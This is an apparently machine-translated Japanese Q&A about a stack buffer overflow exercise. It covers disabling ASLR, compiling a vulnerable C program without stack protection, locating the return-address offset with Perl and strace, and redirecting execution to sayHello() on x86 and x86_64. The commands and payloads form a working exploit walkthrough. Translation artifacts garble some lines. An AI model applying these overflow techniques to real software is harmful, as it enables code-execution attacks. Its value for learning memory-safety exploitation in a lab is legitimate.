プログラムをコンパイルする前に、次の方法でASLRを無効にしました。
_$ Sudo -i
root@laptop:~# echo "0" > /proc/sys/kernel/randomize_va_space
root@laptop:~# exit
logout
_
次に、次の方法でプログラムをコンパイルしました。
_gcc -ggdb -mpreferred-stack-boundary=4 -o test vuln.c
_
(_-mpreferred-stack-boundary=4
_パラメータも理解できませんでした)
私はプログラムを持っています:
理論上、オーバーフローは、コンパイラがgets(buff);
の行に到達したときに発生するはずです。ここで、戻りアドレス(_$RIP
_)をオーバーフローしようとしました。
以下は、私のメインメソッドgetInput()
とsayHello()
の逆アセンブリです(sayHello
メソッドのアドレス_0x4005d
_を示すため)スタックRIP
を上書きしたい)。
15 x A以上の入力を与えると、プログラムがセグフォルトになります。 24個を超えるAを指定すると、_$RIP
_を上書きし始めます。つまり、25個のAを使用すると、RIP
値が0x0000000000400041。論理的には、 "4005dc"(sayHello()アドレス)に16進値を指定しようとしましたが、試行すると失敗しました。オンライン16進数からテキストへのコンバーターを使用する場合、「4005dc」から取得する対応するテキスト値は「@Ü」です。
さらに、プログラムがgetInput()
内のretq命令に到達すると、スタックの先頭の戻りアドレスをポップしてそこにジャンプすることを理解しています。
x86ソリューションのみ:(コメントを参照)
私があなたの仕事を正しければ、sayHelloの関数ポインタをオーバーフローさせる必要があります。
したがって、最初のタスクは、関数が対処することを識別することです。
nm test | grep sayHello
私の場合、これは結果でした
0804844b T sayHello
そのため、getInput()の戻りアドレス(RET)を0x0804844bで上書きする必要があります。これで、バッファーバフがRETからどのくらい離れているかをgdbで識別できます。それがどの範囲になるかは非常に明白だったので、私は別のアプローチを選択しました。したがって、私の次のステップは、RETを上書きするためにバフに入れるデータの量を特定することでした。これは、プログラムが入力を待つ(gets())ときに28回繰り返される「A」の文字列を入力する次のコマンドを使用して行われます。
Perl -e 'print "A"x28' | strace -i test
そして、そのような行が最後に現れるのを探しました:
[41414141] --- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x41414141} ---
次に、28の数を24に減らし、4回Bを印刷して、上記の出力のアドレスが[42424242]に変更されたかどうかを確認しました。変更されなかったため、24を20に減らして再度チェックしました。
Perl -e 'print "A"x20; print "BBBB"' |strace -i ./test
[42424242] --- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x42424242} ---
ビンゴ
最後のステップは、BBBBをアドレス(リトルエンディアン)に置き換えることです。
Perl -e 'print "A"x20; print "\x4b\x84\x04\x08"' | ./test
そして出力は:
4\x04\x08"' | ./test
AAAAAAAAAAAAAAAAAAAAK�
DONENENNE!!!!
Segmentation fault (core dumped)
SayHello()のアドレスでRETを上書きしました。
胸を張って、コンパイル文字列の質問を見てみましょう。
-mpreferred-stack-boundary=4
man gccは、ここで非常に役立ちます。スタック境界を2 ^ 4(16バイト)に揃えておくには、このパラメーターを使用してgccに指示します。これを16バイトにしたい場合は、これがデフォルトであるため、パラメーターをそのままにしておくことができます。
ただし、パラメータ-fno-stack-protector
も使用しました。これにより、バッファオーバーフローをチェックするためのコードを追加しないようコンパイラーに指示します。省略した場合、テストバイナリを利用できなくなります。
x86_64ソリューション:
最初の返事で無知だったのでもう一度申し訳ありません、私の心が漂っていました...
しかし、実際にはそれほど違いはありません。ここで私がこれをどのように解決したかを段階的に説明します。
1)ソースコードのコンパイル:
_$ gcc -fno-stack-protector -o vuln vuln.c
_
注:実行可能ファイルの名前をtestではなくvulnに変更しました。これは、ファイルシステムを注文するためのものです。
2)sayHello()のADDRを識別します:
_$ nm vuln | grep sayHello
00000000004005bd T sayHello
_
したがって、sayHelloのADDRは_0x0000004005bd
_です。getInput()
が戻る前に、RIPをその値で上書きする必要があります。
3)ADDRによって上書きされるRET_ADDRの場所を特定します:
X86ソリューションと同様に、値がRET_ADDRの場所に格納されている「A」(またはその他の文字)を何回渡すことができるかを識別する必要があります。 GDBは、特に peda を使用している場合の友達です。優れた例 ここ を見つけることができます。
私の場合は24バイトでした=> _Perl -e 'print "A"x24'
_
4)RET_ADDRを上書きするクラフトペイロード:
これはPerlコマンドであり、その結果はgets()呼び出しに送られます。
_Perl -e 'print "A"x24; print "\xbd\x05\x40\x00\x00\x00"'
_
Perlコマンド内の2番目の出力は、sayHello()のADDRをリトルエンディアンで渡すために使用されます。
5)(4)からプログラムへのPIPEコマンド:
_$ Perl -e 'print "A"x24; print "\xbd\x05\x40\x00\x00\x00"' | ./vuln
AAAAAAAAAAAAAAAAAAAAAAAA�@
DONENENNE!!!!
Segmentation fault (core dumped)
_